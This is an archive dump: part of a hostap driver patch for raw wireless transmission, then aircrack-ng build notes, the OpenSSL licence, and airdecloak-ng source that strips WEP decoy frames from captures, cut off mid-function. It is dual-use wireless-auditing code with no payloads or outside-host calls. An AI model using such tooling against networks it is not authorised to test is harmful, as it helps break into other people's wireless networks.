linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_ioctl.c 2006-09-21 01:30:18.000000000 -0400 @@ -1104,33 +1104,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1199,7 +1173,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_main.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_main.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_main.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_main.c 2006-09-21 01:30:18.000000000 -0400 @@ -331,7 +331,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_main.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_pci.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_pci.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_pci.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_pci.c 2006-09-21 01:30:18.000000000 -0400 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_pci.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_plx.c linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_plx.c --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_plx.c 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_plx.c 2006-09-21 01:30:18.000000000 -0400 @@ -101,6 +101,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; Only in linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap: hostap_plx.c.orig diff -ur linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_wlan.h linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_wlan.h --- linux-2.6.18-gentoo/drivers/net/wireless/hostap/hostap_wlan.h 2006-09-21 01:26:27.000000000 -0400 +++ linux-2.6.18-gentoo-rawtx/drivers/net/wireless/hostap/hostap_wlan.h 2006-09-21 01:30:18.000000000 -0400 @@ -575,6 +575,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-beta3/INSTALLING0000644000000000000000000000535612250512175014627 0ustar rootroot=== Requirements === * OpenSSL development package or libgcrypt development package * If you want to use airolib-ng and '-r' option in aircrack-ng, SQLite development package >= 3.3.17 (3.6.X version or better is recommended): - libsqlite3-devel * On windows, cygwin has to be used and it also requires w32api and gcc-4 package. * If you want to use Airpcap, the 'developer' directory from the CD is required. * Linux: LibNetlink 1 or 3. It can be disabled by setting the flag 'libnl' to false. See Makefile flags below. * Linux: pkg-config === Compilating === * Compilation: make * Strip debugging symbols: make strip * Installing: make install * Uninstall: make uninstall ==== Makefile flags ==== When compile and installing, the following flags can be used and combined to compile and install the suite: * sqlite: needed to compile airolib-ng and add support for airolib-ng databases in aircrack-ng. On cygwin: SQLite has to be compiled manually. See next section. * airpcap: needed for supporting airpcap devices on windows (cygwin only) REQUIREMENT: Copy 'developers' directory from Airpcap CD one level below this INSTALLING file Note: Not working yet. * unstable: needed to compile tkiptun-ng, easside-ng (and buddy-ng) and wesside-ng * ext_scripts: needed to build airoscript-ng, versuck-ng, airgraph-ng and airdrop-ng. Note: Experimental. Each script has its own dependences. Note: It's only required in install phase. * gcrypt: Use libgcrypt crypto library instead of the default OpenSSL. And also use internal fast sha1 implementation (borrowed from GIT) * libnl: Add support for netlink (nl80211). Linux only. Requires libnl1 OR libnl3. Dependencies (debian): LibNL 1: libnl-dev LibNL 3: libnl-3-dev and libnl-genl-3-dev. * pcre: Add support for regular expression matching for ESSID in airodump-ng. Dependencies (debian): libpcre3-dev Example: * Compiling: make sqlite=true unstable=true * Compiling with gcrypt make gcrypt=true * Installing: make sqlite=true unstable=true install * Installing, with external scripts: make sqlite=true unstable=true ext_scripts=true === Using precompiled binaries === Linux/BSD: * Use your package manager to download aircrack-ng * In most cases, they have an old version. Windows: * Install the appropriate "monitor" driver for your card (standard drivers doesn't work for capturing data). * aircrack-ng suite is command line tools. So, you have to open a commandline (Start menu -> Run... -> cmd.exe) then use them * Run the executables without any parameters to have help aircrack-ng-1.2-beta3/.travis.yml0000644000000000000000000000057712251343330015345 0ustar rootrootlanguage: c compiler: - gcc - clang install: - sudo apt-get update - sudo apt-get install libnl-3-dev libgcrypt11-dev zlib1g-dev libsqlite3-dev libpcap-dev libssl-dev libnl-genl-3-dev script: make sqlite=true unstable=true && make check sqlite=true unstable=true && make clean && make sqlite=true unstable=true gcrypt=true && make check sqlite=true unstable=true gcrypt=true aircrack-ng-1.2-beta3/LICENSE.OpenSSL0000644000000000000000000001420710761053203015517 0ustar rootroot LICENSE ISSUES ============== The OpenSSL toolkit stays under a dual license, i.e. both the conditions of the OpenSSL License and the original SSLeay license apply to the toolkit. See below for the actual license texts. Actually both licenses are BSD-style Open Source licenses. In case of any license issues related to OpenSSL please contact openssl-core@openssl.org. OpenSSL License --------------- /* ==================================================================== * Copyright (c) 1998-2007 The OpenSSL Project. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * 3. All advertising materials mentioning features or use of this * software must display the following acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit. (http://www.openssl.org/)" * * 4. The names "OpenSSL Toolkit" and "OpenSSL Project" must not be used to * endorse or promote products derived from this software without * prior written permission. For written permission, please contact * openssl-core@openssl.org. * * 5. Products derived from this software may not be called "OpenSSL" * nor may "OpenSSL" appear in their names without prior written * permission of the OpenSSL Project. * * 6. Redistributions of any form whatsoever must retain the following * acknowledgment: * "This product includes software developed by the OpenSSL Project * for use in the OpenSSL Toolkit (http://www.openssl.org/)" * * THIS SOFTWARE IS PROVIDED BY THE OpenSSL PROJECT ``AS IS'' AND ANY * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE OpenSSL PROJECT OR * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. * ==================================================================== * * This product includes cryptographic software written by Eric Young * (eay@cryptsoft.com). This product includes software written by Tim * Hudson (tjh@cryptsoft.com). * */ Original SSLeay License ----------------------- /* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) * All rights reserved. * * This package is an SSL implementation written * by Eric Young (eay@cryptsoft.com). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson (tjh@cryptsoft.com). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young (eay@cryptsoft.com)" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ aircrack-ng-1.2-beta3/src/0000755000000000000000000000000012316431261014015 5ustar rootrootaircrack-ng-1.2-beta3/src/airdecloak-ng.c0000644000000000000000000013611112313372755016675 0ustar rootroot/* * WEP Cloaking filtering * * Copyright (C) 2008-2013 Thomas d'Otreppe * * Thanks to Alex Hernandez aka alt3kx for the hardware. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include #include #include #include #include #include "airdecloak-ng.h" #include "version.h" #include "osdep/radiotap/radiotap_iter.h" uchar buffer[65536]; char * _essid; char * _filename_output_invalid; char * _filename_output_cloaked; char * _filename_output_filtered; FILE * _output_cloaked_packets_file; FILE * _output_clean_capture_file; FILE * _input_file; struct pcap_file_header _pfh_in; struct pcap_file_header _pfh_out; long _filters; int _is_wep; unsigned char _bssid[6]; int _options_drop_fragments = 0; int _options_disable_retry = 0; int _options_disable_base_filter = 0; int _options_assume_null_packets_uncloaked = 0; struct decloak_stats stats; int getBits(unsigned char b, int from, int nb_bits) { unsigned int value = (unsigned int)b; unsigned int and_1st = 0; int i; if (from < 0 || from > 7 || nb_bits <= 0 || (from + nb_bits) > 8) { return -1; } for (i = from; i < from + nb_bits; i++) { and_1st += 1 << i; } value &= and_1st; value >>= from; return value; } FILE * openfile(const char * filename, const char * mode, int fatal) { FILE * f; if( ( f = fopen( filename, mode ) ) == NULL ) { perror( "fopen failed\n" ); printf( "Could not open \"%s\" in \"%s\" mode.\n", filename, mode ); if (fatal) { exit(1); } } return f; } // Return 1 on success, 0 on failure BOOLEAN write_packet(FILE * file, struct packet_elt * packet) { // TODO: Do not forget to swap what has to be swapped if needed (caplen, ...) int result; unsigned int caplen = packet->header.caplen; // Write packet header if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( packet->header.caplen ); // Make sure it is re-swapped CORRECTLY -> OK result = fwrite(&(packet->header), 1, PACKET_HEADER_SIZE, file); if (result != PACKET_HEADER_SIZE) { perror("fwrite(packet header) failed"); return false; } // Write packet result = fwrite(packet->packet, 1, caplen, file); if (result != (int)caplen) { perror("fwrite(packet) failed"); return false; } return true; } FILE * init_new_pcap(const char * filename) { FILE * f; f = openfile(filename, "wb", 1); if (f != NULL) { if( fwrite( &_pfh_out, 1, sizeof( _pfh_out ), f ) != (size_t) sizeof( _pfh_out ) ) { perror( "fwrite(pcap file header) failed" ); } } return f; } FILE * open_existing_pcap(const char * filename) { FILE * f; size_t temp_sizet; f = fopen(filename, "rb"); temp_sizet = (size_t) sizeof( _pfh_in ); if( fread( &_pfh_in, 1, temp_sizet, f ) != temp_sizet ) { perror( "fread(pcap file header) failed" ); fclose(f); return NULL; } if( _pfh_in.magic != TCPDUMP_MAGIC && _pfh_in.magic != TCPDUMP_CIGAM ) { printf( "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", filename ); fclose(f); return NULL; } _pfh_out = _pfh_in; if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( _pfh_in.linktype ); if( _pfh_in.linktype != LINKTYPE_IEEE802_11 && _pfh_in.linktype != LINKTYPE_PRISM_HEADER && _pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && _pfh_in.linktype != LINKTYPE_PPI_HDR ) { printf( "\"%s\" isn't a regular 802.11 " "(wireless) capture.\n", filename ); fclose(f); return NULL; } else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { printf("Radiotap header found. Parsing Radiotap is experimental.\n"); } else if (_pfh_in.linktype == LINKTYPE_PPI_HDR) { printf("PPI not yet supported\n"); fclose(f); return NULL; } //_pcap_linktype = _pfh_in.linktype; return f; } BOOLEAN initialize_linked_list() { _packet_elt_head = (struct packet_elt_header *)malloc(sizeof(struct packet_elt_header)); _packet_elt_head->first = ( struct packet_elt *) malloc(sizeof(struct packet_elt)); _packet_elt_head->last = _packet_elt_head->first; _packet_elt_head->current = _packet_elt_head->first; _packet_elt_head->current->complete = 0; _packet_elt_head->current->prev = NULL; // First packet, no previous _packet_elt_head->current->next = NULL; _packet_elt_head->nb_packets = 1; return true; } BOOLEAN add_node_if_not_complete() { if (_packet_elt_head->current->complete == 1) { // Allocate new packet _packet_elt_head->current->next = (struct packet_elt *) malloc(sizeof(struct packet_elt)); _packet_elt_head->current->next->prev = _packet_elt_head->current; _packet_elt_head->current = _packet_elt_head->current->next; _packet_elt_head->current->complete = 0; _packet_elt_head->nb_packets +=1; // Last will be set at the end of the while when everything went ok } // No free of the *packet pointer because it is only set when everything is ok => if a packet is not ok, it will never have *packet malloced // Alway reset is_cloaked field and dropped field _packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS; // Unknown state of this packet _packet_elt_head->current->is_dropped = 0; return true; } void set_node_complete() { _packet_elt_head->current->complete = 1; _packet_elt_head->last = _packet_elt_head->current; } void remove_last_uncomplete_node() { struct packet_elt * packet; if (_packet_elt_head->current->complete == 0) { packet = _packet_elt_head->current; _packet_elt_head->nb_packets -=1; _packet_elt_head->current->prev->next = NULL; free(packet); } } // Requirement: initialize_linked_list() called struct packet_elt * getPacketNr(int position) { struct packet_elt * packet = _packet_elt_head->first; int i = 0; while (i < position) { if (packet->next == NULL) { return NULL; } packet = packet->next; } return packet; } char * iv2string(unsigned char * iv) { char * string = (char *)malloc(9); snprintf(string, 9, "%02X %02X %02X", iv[0], iv[1], iv[2]); return string; } char * icv2string(unsigned char * icv) { char * string = (char *)malloc(12); snprintf(string, 12, "%02X %02X %02X %02X", icv[0], icv[1], icv[2], icv[3]); return string; } void print_packet(struct packet_elt * packet) { char * temp; printf("Packet length: %d\n", packet->length); printf("Frame type: %d (subtype: %d) - First byte: %d\n", packet->frame_type, packet->frame_subtype, packet->version_type_subtype); temp = mac2string(packet->bssid); printf("BSSID: %s\n",temp); free(temp); temp = mac2string(packet->source); printf("Source: %s\n",temp); free(temp); temp = mac2string(packet->destination); printf("Destination: %s\n",temp); free(temp); printf("Sequence number: %d (Fragment #: %d)\n", packet->sequence_number, packet->fragment_number); temp = iv2string(packet->iv); printf("IV: %s (Key index: %d)\n", temp, packet->key_index); free(temp); temp = icv2string(packet->icv); printf("ICV: %s\n", temp); free(temp); printf("Signal: %d - Retry bit: %d - is cloaked: %d\n", packet->signal_quality, packet->retry_bit, packet->is_cloaked); } int get_rtap_signal(int caplen) { struct ieee80211_radiotap_iterator iterator; struct ieee80211_radiotap_header *rthdr; rthdr = (struct ieee80211_radiotap_header *)buffer; if (ieee80211_radiotap_iterator_init(&iterator, rthdr, caplen, NULL) < 0) return 0; while (ieee80211_radiotap_iterator_next(&iterator) >= 0) { if (iterator.this_arg_index == IEEE80211_RADIOTAP_DBM_ANTSIGNAL) return *iterator.this_arg; if (iterator.this_arg_index == IEEE80211_RADIOTAP_DB_ANTSIGNAL) return *iterator.this_arg; if (iterator.this_arg_index == IEEE80211_RADIOTAP_LOCK_QUALITY) return *iterator.this_arg; } return 0; } // !!!! WDS not yet implemented BOOLEAN read_packets(void) { int i, start; time_t tt; unsigned char * h80211; size_t bytes_read; i=0; memset( &stats, 0, sizeof( stats ) ); tt = time( NULL ); switch(_pfh_in.linktype) { case LINKTYPE_PRISM_HEADER: start = 144; // based on madwifi-ng break; case LINKTYPE_RADIOTAP_HDR: start = (int)(buffer[2]); // variable length! break; case LINKTYPE_IEEE802_11: // 0 case LINKTYPE_PPI_HDR: // ? default: start = 0; break; } // Show link type printf("Link type (Prism: %d - Radiotap: %d - 80211: %d - PPI - %d): ", LINKTYPE_PRISM_HEADER, LINKTYPE_RADIOTAP_HDR, LINKTYPE_IEEE802_11, LINKTYPE_PPI_HDR); switch (_pfh_in.linktype) { case LINKTYPE_PRISM_HEADER: puts("Prism"); break; case LINKTYPE_RADIOTAP_HDR: puts("Radiotap"); break; case LINKTYPE_IEEE802_11: puts("802.11"); break; case LINKTYPE_PPI_HDR: puts("PPI"); break; default: printf("Unknown (%d)\n", _pfh_in.linktype); break; } // Initialize double linked list. initialize_linked_list(); while( 1 ) { if( time( NULL ) - tt > 0 ) { // update the status line every second printf( "\33[KRead %ld packets...\r", stats.nb_read ); fflush( stdout ); tt = time( NULL ); } /* read one packet */ // Only malloc if complete add_node_if_not_complete(); //puts("Reading packet header"); bytes_read = fread( &( _packet_elt_head->current->header ), 1, PACKET_HEADER_SIZE, _input_file ); if( bytes_read != (size_t) PACKET_HEADER_SIZE ) { if (bytes_read != 0) { printf("Failed to read packet header.\n"); } else { // Normal, reached EOF. //printf("Reached EOF.\n"); } break; } if( _pfh_in.magic == TCPDUMP_CIGAM ) SWAP32( _packet_elt_head->current->header.caplen ); if( _packet_elt_head->current->header.caplen <= 0 || _packet_elt_head->current->header.caplen > 65535 ) { printf( "Corrupted file? Invalid packet length %d.\n", _packet_elt_head->current->header.caplen ); break; } // Reset buffer memset(buffer, 0, 65536); // Read packet from file bytes_read = fread( buffer, 1, _packet_elt_head->current->header.caplen, _input_file ); if( bytes_read != (size_t) _packet_elt_head->current->header.caplen ) { printf("Error reading the file: read %lu bytes out of %d.\n", (unsigned long) bytes_read, _packet_elt_head->current->header.caplen); break; } stats.nb_read++; // Put all stuff in the packet header and // ---------------------------- Don't remove anything ---------------------- // ---------------------------- Just know where the packet start ----------- h80211 = buffer + start; // Know the kind of packet _packet_elt_head->current->frame_type = getBits(*h80211, 2, 2); #ifdef DEBUG printf("Frame type: %d\n", _packet_elt_head->current->frame_type); #endif _packet_elt_head->current->version_type_subtype = *h80211; #ifdef DEBUG printf("First byte: %x\n",*h80211); #endif // Filter out unknown packet types and control frames if (_packet_elt_head->current->frame_type != FRAME_TYPE_DATA && _packet_elt_head->current->frame_type != FRAME_TYPE_MANAGEMENT) { // Don't care about the frame if it's a control or unknown frame). if (_packet_elt_head->current->frame_type != FRAME_TYPE_CONTROL) { // Unknown frame type, log it //printf("Unknown frame type: %d\n", packet->frame_type); // ------------- May be interesting to put all those packets in a separate file } continue; } if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT) { // Assumption: Management packets are not cloaked (may change in the future) _packet_elt_head->current->is_cloaked = VALID_FRAME_UNCLOAKED; } else if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA){ _packet_elt_head->current->is_cloaked = UKNOWN_FRAME_CLOAKING_STATUS; } // Retry bit _packet_elt_head->current->retry_bit = getBit(*(h80211+1), 3); // More fragments bit _packet_elt_head->current->more_fragments_bit = getBit(*(h80211+1), 2); if (_packet_elt_head->current->more_fragments_bit && _options_drop_fragments) { _packet_elt_head->current->is_dropped = 1; } // TODO: Get the speed from the packet if radiotap/prism header exist. // TODO: Get also the channel from the headers (the sensor may inject // cloaked frames on a channel is not the same as the AP) #ifdef DEBUG printf("Retry bit: %d\n", _packet_elt_head->current->retry_bit); printf("More fragments bit: %d\n", _packet_elt_head->current->more_fragments_bit); #endif /*------------------------------- drop if control frame (does not contains SN) ----------------------*/ // TODO: We should care about control frames since they are not cloaked // and they can be usefull for signal filtering (have a better average). /* check the BSSID */ switch( h80211[1] & 3 ) { case 0: // To DS = 0, From DS = 0: DA, SA, BSSID (Ad Hoc) memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 0; _packet_elt_head->current->toDS = 0; break; case 1: // To DS = 1, From DS = 0: BSSID, SA, DA (To DS) memcpy( _packet_elt_head->current->bssid, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->destination, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 0; _packet_elt_head->current->toDS = 1; break; case 2: // To DS = 0, From DS = 1: DA, BSSID, SA (From DS) memcpy( _packet_elt_head->current->destination, h80211 + 4, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->source, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 1; _packet_elt_head->current->toDS = 0; break; case 3: // To DS = 1, From DS = 1: RA, TA, DA, SA (WDS) memcpy( _packet_elt_head->current->source, h80211 + 24, 6 ); memcpy( _packet_elt_head->current->bssid, h80211 + 10, 6 ); memcpy( _packet_elt_head->current->destination, h80211 + 16, 6 ); _packet_elt_head->current->fromDS = 1; _packet_elt_head->current->toDS = 1; break; } #ifdef DEBUG printf("From DS: %d - ToDS: %d\n", _packet_elt_head->current->fromDS, packet->toDS); printf("BSSID: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->bssid[0], _packet_elt_head->current->bssid[1], _packet_elt_head->current->bssid[2], _packet_elt_head->current->bssid[3], _packet_elt_head->current->bssid[4], _packet_elt_head->current->bssid[5]); printf("Source: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->source[0], _packet_elt_head->current->source[1], _packet_elt_head->current->source[2], _packet_elt_head->current->source[3], _packet_elt_head->current->source[4], _packet_elt_head->current->source[5]); printf("Dest: %02X:%02X:%02X:%02X:%02X:%02X\n", _packet_elt_head->current->destination[0], _packet_elt_head->current->destination[1], _packet_elt_head->current->destination[2], _packet_elt_head->current->destination[3], _packet_elt_head->current->destination[4], _packet_elt_head->current->destination[5]); #endif // Filter out packets not belonging to our BSSID if ( memcmp( _packet_elt_head->current->bssid, _bssid, 6)) { // Not the BSSID we are looking for //printf("It's not the BSSID we are looking for.\n"); continue; } // Grab sequence number and fragment number _packet_elt_head->current->sequence_number = ((h80211[22]>>4)+(h80211[23]<<4)); // 12 bits _packet_elt_head->current->fragment_number = getBits(h80211[23], 4,4); // 4 bits // drop frag option if (_options_drop_fragments && _packet_elt_head->current->fragment_number) { _packet_elt_head->current->is_dropped = 1; } #ifdef DEBUG printf("Sequence: %d - Fragment: %d\n", _packet_elt_head->current->sequence_number, _packet_elt_head->current->fragment_number); #endif // Get the first beacon and search for WEP only // if not (data) wep, stop completely processing (_is_wep) if (_packet_elt_head->current->frame_type == FRAME_TYPE_MANAGEMENT) { // Get encryption from beacon/probe response if( h80211[0] == BEACON_FRAME || h80211[0] == PROBE_RESPONSE ) { if( ( h80211[34] & 0x10 ) >> 4 ) { _is_wep = 1; // Make sure it's not WPA // TODO: See airodump-ng around line 1500 } else { // Completely stop processing printf("FATAL ERROR: The network is not WEP (byte 34: %d)\n.", h80211[34]); exit(1); } } } if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA) { // Copy IV memcpy(_packet_elt_head->current->iv, (h80211 + 24), 3); #ifdef DEBUG printf("IV: %X %X %X\n", _packet_elt_head->current->iv[0], _packet_elt_head->current->iv[1], _packet_elt_head->current->iv[2]); #endif // Copy key index _packet_elt_head->current->key_index = h80211[27]; #ifdef DEBUG printf("Key index: %d\n", packet->key_index); #endif // Copy checksum memcpy(_packet_elt_head->current->icv, buffer + (_packet_elt_head->current->header.caplen) - 4, 4); #ifdef DEBUG printf("ICV: %X %X %X %X\n", _packet_elt_head->current->icv[0], _packet_elt_head->current->icv[1], _packet_elt_head->current->icv[2], _packet_elt_head->current->icv[3]); #endif } else { // Management packet (control packets were filtered out. _packet_elt_head->current->iv[0] = _packet_elt_head->current->iv[1] = _packet_elt_head->current->iv[2] = 0; _packet_elt_head->current->key_index = 0; _packet_elt_head->current->icv[0] = _packet_elt_head->current->icv[1] = _packet_elt_head->current->icv[2] = _packet_elt_head->current->icv[3] = 0; #ifdef DEBUG printf("Not a data packet thus no IV, no key index, no ICV\n"); #endif } // Copy the packet itself _packet_elt_head->current->packet = (unsigned char *) malloc(_packet_elt_head->current->header.caplen); memcpy(_packet_elt_head->current->packet, buffer, _packet_elt_head->current->header.caplen); // Copy signal if exist _packet_elt_head->current->signal_quality = -1; if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER) { // Hack: pos 0x44 (at least on madwifi-ng) _packet_elt_head->current->signal_quality = buffer[0x44]; } else if (_pfh_in.linktype == LINKTYPE_RADIOTAP_HDR) { _packet_elt_head->current->signal_quality = get_rtap_signal( _packet_elt_head->current->header.caplen); } #ifdef DEBUG printf("Signal quality: %d\n", _packet_elt_head->current->signal_quality); #endif // Append to the list #ifdef ONLY_FIRST_PACKET puts("!!! Don't forget to append"); break; #else set_node_complete(); #endif } remove_last_uncomplete_node(); printf("Nb packets: %d \n", _packet_elt_head->nb_packets); return true; } void reset_current_packet_pointer() { _packet_elt_head->current = _packet_elt_head->first; } BOOLEAN reset_current_packet_pointer_to_ap_packet() { reset_current_packet_pointer(); return next_packet_pointer_from_ap(); } BOOLEAN reset_current_packet_pointer_to_client_packet() { reset_current_packet_pointer(); return next_packet_pointer_from_client(); } BOOLEAN next_packet_pointer_from_ap() { while (_packet_elt_head->current->toDS != 0) { if (next_packet_pointer() == false) { return false; } } if (_packet_elt_head->current->toDS == 0) { return true; } else { return false; } } BOOLEAN next_packet_pointer_from_client() { while 